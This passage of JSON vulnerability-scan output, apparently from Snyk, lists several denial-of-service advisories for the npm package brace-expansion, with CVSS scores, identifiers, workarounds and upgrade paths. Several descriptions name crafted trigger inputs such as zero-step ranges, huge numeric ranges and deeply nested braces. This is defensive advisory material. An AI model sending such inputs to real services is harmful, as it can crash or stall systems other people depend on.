"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": 